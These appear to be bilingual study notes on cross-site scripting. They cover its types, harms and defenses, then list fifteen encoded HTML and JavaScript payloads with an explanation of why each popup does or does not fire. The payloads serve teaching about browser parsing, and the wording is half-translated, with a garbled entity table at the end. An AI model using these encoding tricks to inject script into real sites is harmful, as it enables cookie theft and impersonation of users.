Security Fundamentals 8 --- XSS

目录

XSS---跨站脚本攻击

产生原因

分类

 危害（The point of action varies）

防御手段

XSS  paylaod

注意

HTML实体编码

---

XSS---跨站脚本攻击

产生原因

There is no filtering on the user's input,Malicious code was entered into the server in the data submitted by the user

分类

• 反射型XSS：危害不大,不持久,只能运行一次,will not enter the database,Only make popup windows on the front-end page
• DOM型XSS：Special reflection typeXSS,危害较小
• 存储型XSS：危害最大,能进入数据库,可以多次执行（危害：The background address can be obtained、管理员的cookies）（产生原因：没有对jsFilter by tags）

 危害（The point of action varies）

1. 盗取被攻击者的 cookie 值,进行身份冒充
2. 网页篡改---js 中某些函数可以获取并且重新复制 HTML 的标签值
3.  删除页面---By changing some values ​​of the page（如：Change the value to null）Delete the page
4. 流量劫持---如：Small pages are ways to increase traffic：1.正常操作---引流----送钱、打广告、 2.非常规(违法行为)---利用 XSS The vulnerability automatically requests traffic comparison Small websites or add QR codes on other websites
5. 钓鱼网站
6. 配合 CSRF 攻击---ajax、window.location

防御手段

1. Filter by keywords
2. 将特殊字符转换成字符串-->实体化编码

XSS  paylaod

测试网站：http://test.attacker-domain.com/browserparsing/tests.html

1、

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

No encoding succeeded   （解码顺序：先 实体编码-->Unicode-->js中的Unicode编码）

原因：There is no entity encoding-->进行Unicode编码,But the agreement can'tUnicode编码,URL规定协议、用户名、密码都必须是ASCII,否则识别不了

2、

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">Click me</a>

成功：Entity decoding is performed first --> href中为URL,URLModules can be differentJavaScript协议,进行URL解码 --> JSExecuted after module processing

3、

<a href="javascript%3aalert(3)">Click me</a>

失败：The protocol is encoded,UnicodeThe encoding does not recognize the protocol,So the popup failed

4、

<div>&#60;img src=x onerror=alert(4)&#62;</div>

<img src=x onerror=alert(4)>

失败,imgLabels are parseable under normal conditions,为什么imgThe tag cannot be parsed？

原因：is that the parser does not convert to after parsing this character reference"标签开始状态".正因为如此,就不会建立新标签.因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成"数据".The tag did not enter the start state,The popup will not come out

5、

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea> 

 可以解析,The tag did not enter the start state

6、

<textarea><script>alert(6)</script></textarea> 

原因：<title>和<textarea>标签中的字符引用会被HTML解析器解码.在解析这些字符引用的过程中不会进入“标签开始状态". <textarea>不能执行脚本,Can only hold text or character references

7、

<button onclick="confirm('7&#39;);">Button</button>

 成功执行,Parse the entity code first,onclickThe value of the medium property will be removedHTML解码,Execute after successful identification

8、

<button onclick="confirm('8\u0027);">Button</button>

失败原因：使用js编码,js编码可以容纳Unicode编码,但是在js中不能编码符号（如：括号、等号.......）

9、

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

No pop-up reason：编码了alert,<script>The original text in the label,But raw text can only hold text,没有字符引用,无法执行

10、

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

成功,利用js中的Unicode编码,But only characters are encoded,可以成功

11、

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

失败,利用js中的UnicodeBrackets are encoded

12、

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

失败,js运行时,There are strings inside that need to be wrapped in quotes to run,js中使用UnicodeWhen encoding a number, it becomes a string after decoding,So it needs to be wrapped in quotes.

13、

<script>alert('13\u0027)</script>

失败,利用js中的UnicodeSymbols are encoded

14、

<script>alert('14\u000a')</script>

成功,编码没问题,都存在

15、

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&# x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x3 5;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30; &#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&# x33;&#x34;&#x28;&#x31;&#x35;&#x29;">Click me</a>

 成功,先用HTML实体解码  -->  JavaScript：head out  -->  由href中url模块解码  -->  识别js协议-->  js模块处理  -->  最后解码

注意

• HTML官网：w3c.org
• 解码顺序：先   实体编码   -->   Unicode   -->   js中的Unicode编码
• <textarea>和<title>There will be no scripts that can be executed,Can only hold text or character references.无需进行测试
• div 、hrefand other attribute elements will haveHTML解码操作
• URL规定协议、用户名、密码都必须是ASCII
• JavaScript会对字符串和标识符Unicode解码

HTML实体编码

HTML 实体is a paragraph with a hyphen（&）开头、以分号（;）结尾的文本（字符串）.实体常常用于显示保留字符（这些字符会被解析为 HTML 代码）和不可见的字符（如“不换行空格”）

• 不可分的空格： 
• <（小于符号）：<
• >（大于符号）：>
• &（与符号）：&
• ″（双引号）："
• '（单引号）：''
• （版权符号）©